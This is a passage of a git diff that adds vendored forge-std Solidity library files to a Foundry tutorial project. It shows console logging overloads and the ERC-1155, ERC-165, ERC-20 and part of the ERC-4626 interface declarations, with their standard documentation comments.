+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint256 p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint256,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,string,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, bool p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,bool,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, uint256 p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint256,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, uint256 p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint256,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, uint256 p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint256,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, uint256 p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,uint256,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, string memory p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, string memory p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, string memory p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, string memory p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, bool p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, bool p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, bool p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, bool p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, address p2, uint256 p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address,uint256)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, address p2, string memory p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, address p2, bool p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, address p1, address p2, address p3) internal pure {
+        _sendLogPayload(abi.encodeWithSignature('log(address,address,address,address)', p0, p1, p2, p3));
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IERC1155.sol b/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IERC1155.sol
new file mode 100644
index 000000000..dffbb2b3e
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IERC1155.sol
@@ -0,0 +1,92 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2;
+
+import './IERC165.sol';
+
+/// @title ERC-1155 Multi Token Standard
+/// @dev See https://eips.ethereum.org/EIPS/eip-1155
+/// Note: The ERC-165 identifier for this interface is 0xd9b67a26.
+interface IERC1155 is IERC165 {
+    /// @dev
+    /// - Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
+    /// - The `_operator` argument MUST be the address of an account/contract that is approved to make the transfer (SHOULD be msg.sender).
+    /// - The `_from` argument MUST be the address of the holder whose balance is decreased.
+    /// - The `_to` argument MUST be the address of the recipient whose balance is increased.
+    /// - The `_id` argument MUST be the token type being transferred.
+    /// - The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by.
+    /// - When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
+    /// - When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
+    event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value);
+
+    /// @dev
+    /// - Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard).
+    /// - The `_operator` argument MUST be the address of an account/contract that is approved to make the transfer (SHOULD be msg.sender).
+    /// - The `_from` argument MUST be the address of the holder whose balance is decreased.
+    /// - The `_to` argument MUST be the address of the recipient whose balance is increased.
+    /// - The `_ids` argument MUST be the list of tokens being transferred.
+    /// - The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by.
+    /// - When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address).
+    /// - When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address).
+    event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values);
+
+    /// @dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absence of an event assumes disabled).
+    event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
+
+    /// @dev MUST emit when the URI is updated for a token ID. URIs are defined in RFC 3986.
+    /// The URI MUST point to a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema".
+    event URI(string _value, uint256 indexed _id);
+
+    /// @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call).
+    /// @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
+    /// - MUST revert if `_to` is the zero address.
+    /// - MUST revert if balance of holder for token `_id` is lower than the `_value` sent.
+    /// - MUST revert on any other error.
+    /// - MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard).
+    /// - After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
+    /// @param _from Source address
+    /// @param _to Target address
+    /// @param _id ID of the token type
+    /// @param _value Transfer amount
+    /// @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to`
+    function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;
+
+    /// @notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call).
+    /// @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard).
+    /// - MUST revert if `_to` is the zero address.
+    /// - MUST revert if length of `_ids` is not the same as length of `_values`.
+    /// - MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient.
+    /// - MUST revert on any other error.
+    /// - MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard).
+    /// - Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc).
+    /// - After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard).
+    /// @param _from Source address
+    /// @param _to Target address
+    /// @param _ids IDs of each token type (order and length must match _values array)
+    /// @param _values Transfer amounts per token type (order and length must match _ids array)
+    /// @param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to`
+    function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external;
+
+    /// @notice Get the balance of an account's tokens.
+    /// @param _owner The address of the token holder
+    /// @param _id ID of the token
+    /// @return The _owner's balance of the token type requested
+    function balanceOf(address _owner, uint256 _id) external view returns (uint256);
+
+    /// @notice Get the balance of multiple account/token pairs
+    /// @param _owners The addresses of the token holders
+    /// @param _ids ID of the tokens
+    /// @return The _owner's balance of the token types requested (i.e. balance for each (owner, id) pair)
+    function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory);
+
+    /// @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
+    /// @dev MUST emit the ApprovalForAll event on success.
+    /// @param _operator Address to add to the set of authorized operators
+    /// @param _approved True if the operator is approved, false to revoke approval
+    function setApprovalForAll(address _operator, bool _approved) external;
+
+    /// @notice Queries the approval status of an operator for a given owner.
+    /// @param _owner The owner of the tokens
+    /// @param _operator Address of authorized operator
+    /// @return True if the operator is approved, false if not
+    function isApprovedForAll(address _owner, address _operator) external view returns (bool);
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IERC165.sol b/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IERC165.sol
new file mode 100644
index 000000000..9af4bf800
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IERC165.sol
@@ -0,0 +1,12 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2;
+
+interface IERC165 {
+    /// @notice Query if a contract implements an interface
+    /// @param interfaceID The interface identifier, as specified in ERC-165
+    /// @dev Interface identification is specified in ERC-165. This function
+    /// uses less than 30,000 gas.
+    /// @return `true` if the contract implements `interfaceID` and
+    /// `interfaceID` is not 0xffffffff, `false` otherwise
+    function supportsInterface(bytes4 interfaceID) external view returns (bool);
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IERC20.sol b/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IERC20.sol
new file mode 100644
index 000000000..ba40806c3
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IERC20.sol
@@ -0,0 +1,43 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2;
+
+/// @dev Interface of the ERC20 standard as defined in the EIP.
+/// @dev This includes the optional name, symbol, and decimals metadata.
+interface IERC20 {
+    /// @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
+    event Transfer(address indexed from, address indexed to, uint256 value);
+
+    /// @dev Emitted when the allowance of a `spender` for an `owner` is set, where `value`
+    /// is the new allowance.
+    event Approval(address indexed owner, address indexed spender, uint256 value);
+
+    /// @notice Returns the amount of tokens in existence.
+    function totalSupply() external view returns (uint256);
+
+    /// @notice Returns the amount of tokens owned by `account`.
+    function balanceOf(address account) external view returns (uint256);
+
+    /// @notice Moves `amount` tokens from the caller's account to `to`.
+    function transfer(address to, uint256 amount) external returns (bool);
+
+    /// @notice Returns the remaining number of tokens that `spender` is allowed
+    /// to spend on behalf of `owner`
+    function allowance(address owner, address spender) external view returns (uint256);
+
+    /// @notice Sets `amount` as the allowance of `spender` over the caller's tokens.
+    /// @dev Be aware of front-running risks: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
+    function approve(address spender, uint256 amount) external returns (bool);
+
+    /// @notice Moves `amount` tokens from `from` to `to` using the allowance mechanism.
+    /// `amount` is then deducted from the caller's allowance.
+    function transferFrom(address from, address to, uint256 amount) external returns (bool);
+
+    /// @notice Returns the name of the token.
+    function name() external view returns (string memory);
+
+    /// @notice Returns the symbol of the token.
+    function symbol() external view returns (string memory);
+
+    /// @notice Returns the decimals places of the token.
+    function decimals() external view returns (uint8);
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IERC4626.sol b/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IERC4626.sol
new file mode 100644
index 000000000..53817c2cc
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/interfaces/IERC4626.sol
@@ -0,0 +1,188 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2;
+
+import './IERC20.sol';
+
+/// @dev Interface of the ERC4626 "Tokenized Vault Standard", as defined in
+/// https://eips.ethereum.org/EIPS/eip-4626
+interface IERC4626 is IERC20 {
+    event Deposit(address indexed sender, address indexed owner, uint256 assets, uint256 shares);
+
+    event Withdraw(address indexed sender, address indexed receiver, address indexed owner, uint256 assets, uint256 shares);
+
+    /// @notice Returns the address of the underlying token used for the Vault for accounting, depositing, and withdrawing.
+    /// @dev
+    /// - MUST be an ERC-20 token contract.
+    /// - MUST NOT revert.
+    function asset() external view returns (address assetTokenAddress);
+
+    /// @notice Returns the total amount of the underlying asset that is “managed” by Vault.
+    /// @dev
+    /// - SHOULD include any compounding that occurs from yield.
+    /// - MUST be inclusive of any fees that are charged against assets in the Vault.
+    /// - MUST NOT revert.
+    function totalAssets() external view returns (uint256 totalManagedAssets);
+
+    /// @notice Returns the amount of shares that the Vault would exchange for the amount of assets provided, in an ideal
+    /// scenario where all the conditions are met.
+    /// @dev
+    /// - MUST NOT be inclusive of any fees that are charged against assets in the Vault.
+    /// - MUST NOT show any variations depending on the caller.
+    /// - MUST NOT reflect slippage or other on-chain conditions, when performing the actual exchange.
+    /// - MUST NOT revert.
+    ///
+    /// NOTE: This calculation MAY NOT reflect the “per-user” price-per-share, and instead should reflect the
+    /// “average-user’s” price-per-share, meaning what the average user should expect to see when exchanging to and
+    /// from.
+    function convertToShares(uint256 assets) external view returns (uint256 shares);
+
+    /// @notice Returns the amount of assets that the Vault would exchange for the amount of shares provided, in an ideal
+    /// scenario where all the conditions are met.
+    /// @dev
+    /// - MUST NOT be inclusive of any fees that are charged against assets in the Vault.
+    /// - MUST NOT show any variations depending on the caller.
+    /// - MUST NOT reflect slippage or other on-chain conditions, when performing the actual exchange.
+    /// - MUST NOT revert.
+    ///
+    /// NOTE: This calculation MAY NOT reflect the “per-user” price-per-share, and instead should reflect the
+    /// “average-user’s” price-per-share, meaning what the average user should expect to see when exchanging to and
+    /// from.
+    function convertToAssets(uint256 shares) external view returns (uint256 assets);
+
+    /// @notice Returns the maximum amount of the underlying asset that can be deposited into the Vault for the receiver,
+    /// through a deposit call.
+    /// @dev
+    /// - MUST return a limited value if receiver is subject to some deposit limit.
+    /// - MUST return 2 ** 256 - 1 if there is no limit on the maximum amount of assets that may be deposited.
+    /// - MUST NOT revert.
+    function maxDeposit(address receiver) external view returns (uint256 maxAssets);
+
+    /// @notice Allows an on-chain or off-chain user to simulate the effects of their deposit at the current block, given
+    /// current on-chain conditions.
+    /// @dev
+    /// - MUST return as close to and no more than the exact amount of Vault shares that would be minted in a deposit
+    ///   call in the same transaction. I.e. deposit should return the same or more shares as previewDeposit if called
+    ///   in the same transaction.
+    /// - MUST NOT account for deposit limits like those returned from maxDeposit and should always act as though the
+    ///   deposit would be accepted, regardless if the user has enough tokens approved, etc.
+    /// - MUST be inclusive of deposit fees. Integrators should be aware of the existence of deposit fees.
+    /// - MUST NOT revert.
+    ///
+    /// NOTE: any unfavorable discrepancy between convertToShares and previewDeposit SHOULD be considered slippage in
+    /// share price or some other type of condition, meaning the depositor will lose assets by depositing.
+    function previewDeposit(uint256 assets) external view returns (uint256 shares);
+
+    /// @notice Mints shares Vault shares to receiver by depositing exactly amount of underlying tokens.
+    /// @dev
+    /// - MUST emit the Deposit event.
+    /// - MAY support an additional flow in which the underlying tokens are owned by the Vault contract before the
+    ///   deposit execution, and are accounted for during deposit.
+    /// - MUST revert if all of assets cannot be deposited (due to deposit limit being reached, slippage, the user not
+    ///   approving enough underlying tokens to the Vault contract, etc).
+    ///
+    /// NOTE: most implementations will require pre-approval of the Vault with the Vault’s underlying asset token.
+    function deposit(uint256 assets, address receiver) external returns (uint256 shares);
+
+    /// @notice Returns the maximum amount of the Vault shares that can be minted for the receiver, through a mint call.
+    /// @dev
+    /// - MUST return a limited value if receiver is subject to some mint limit.
+    /// - MUST return 2 ** 256 - 1 if there is no limit on the maximum amount of shares that may be minted.
+    /// - MUST NOT revert.
+    function maxMint(address receiver) external view returns (uint256 maxShares);
+
+    /// @notice Allows an on-chain or off-chain user to simulate the effects of their mint at the current block, given
+    /// current on-chain conditions.
+    /// @dev
+    /// - MUST return as close to and no fewer than the exact amount of assets that would be deposited in a mint call
+    ///   in the same transaction. I.e. mint should return the same or fewer assets as previewMint if called in the
+    ///   same transaction.
+    /// - MUST NOT account for mint limits like those returned from maxMint and should always act as though the mint
+    ///   would be accepted, regardless if the user has enough tokens approved, etc.
+    /// - MUST be inclusive of deposit fees. Integrators should be aware of the existence of deposit fees.
+    /// - MUST NOT revert.
+    ///
+    /// NOTE: any unfavorable discrepancy between convertToAssets and previewMint SHOULD be considered slippage in
+    /// share price or some other type of condition, meaning the depositor will lose assets by minting.
+    function previewMint(uint256 shares) external view returns (uint256 assets);
+
+    /// @notice Mints exactly shares Vault shares to receiver by depositing amount of underlying tokens.
+    /// @dev
+    /// - MUST emit the Deposit event.
+    /// - MAY support an additional flow in which the underlying tokens are owned by the Vault contract before the mint
+    ///   execution, and are accounted for during mint.
+    /// - MUST revert if all of shares cannot be minted (due to deposit limit being reached, slippage, the user not
+    ///   approving enough underlying tokens to the Vault contract, etc).
+    ///
+    /// NOTE: most implementations will require pre-approval of the Vault with the Vault’s underlying asset token.
+    function mint(uint256 shares, address receiver) external returns (uint256 assets);
+
+    /// @notice Returns the maximum amount of the underlying asset that can be withdrawn from the owner balance in the
+    /// Vault, through a withdraw call.
+    /// @dev
+    /// - MUST return a limited value if owner is subject to some withdrawal limit or timelock.
+    /// - MUST NOT revert.
+    function maxWithdraw(address owner) external view returns (uint256 maxAssets);
+
+    /// @notice Allows an on-chain or off-chain user to simulate the effects of their withdrawal at the current block,
+    /// given current on-chain conditions.
+    /// @dev
+    /// - MUST return as close to and no fewer than the exact amount of Vault shares that would be burned in a withdraw
+    ///   call in the same transaction. I.e. withdraw should return the same or fewer shares as previewWithdraw if
+    ///   called
+    ///   in the same transaction.
+    /// - MUST NOT account for withdrawal limits like those returned from maxWithdraw and should always act as though
+    ///   the withdrawal would be accepted, regardless if the user has enough shares, etc.
+    /// - MUST be inclusive of withdrawal fees. Integrators should be aware of the existence of withdrawal fees.
+    /// - MUST NOT revert.
+    ///
+    /// NOTE: any unfavorable discrepancy between convertToShares and previewWithdraw SHOULD be considered slippage in
+    /// share price or some other type of condition, meaning the depositor will lose assets by depositing.
+    function previewWithdraw(uint256 assets) external view returns (uint256 shares);
+
+    /// @notice Burns shares from owner and sends exactly assets of underlying tokens to receiver.
+    /// @dev
+    /// - MUST emit the Withdraw event.
+    /// - MAY support an additional flow in which the underlying tokens are owned by the Vault contract before the
+    ///   withdraw execution, and are accounted for during withdraw.
+    /// - MUST revert if all of assets cannot be withdrawn (due to withdrawal limit being reached, slippage, the owner
+    ///   not having enough shares, etc).
+    ///
+    /// Note that some implementations will require pre-requesting to the Vault before a withdrawal may be performed.
+    /// Those methods should be performed separately.
+    function withdraw(uint256 assets, address receiver, address owner) external returns (uint256 shares);
+
+    /// @notice Returns the maximum amount of Vault shares that can be redeemed from the owner balance in the Vault,
+    /// through a redeem call.
+    /// @dev
+    /// - MUST return a limited value if owner is subject to some withdrawal limit or timelock.
+    /// - MUST return balanceOf(owner) if owner is not subject to any withdrawal limit or timelock.
+    /// - MUST NOT revert.
+    function maxRedeem(address owner) external view returns (uint256 maxShares);
+
+    /// @notice Allows an on-chain or off-chain user to simulate the effects of their redeemption at the current block,
+    /// given current on-chain conditions.
+    /// @dev
+    /// - MUST return as close to and no more than the exact amount of assets that would be withdrawn in a redeem call
+    ///   in the same transaction. I.e. redeem should return the same or more assets as previewRedeem if called in the
+    ///   same transaction.
+    /// - MUST NOT account for redemption limits like those returned from maxRedeem and should always act as though the
+    ///   redemption would be accepted, regardless if the user has enough shares, etc.
+    /// - MUST be inclusive of withdrawal fees. Integrators should be aware of the existence of withdrawal fees.
+    /// - MUST NOT revert.
+    ///
+    /// NOTE: any unfavorable discrepancy between convertToAssets and previewRedeem SHOULD be considered slippage in
+    /// share price or some other type of condition, meaning the depositor will lose assets by redeeming.
+    function previewRedeem(uint256 shares) external view returns (uint256 assets);
+
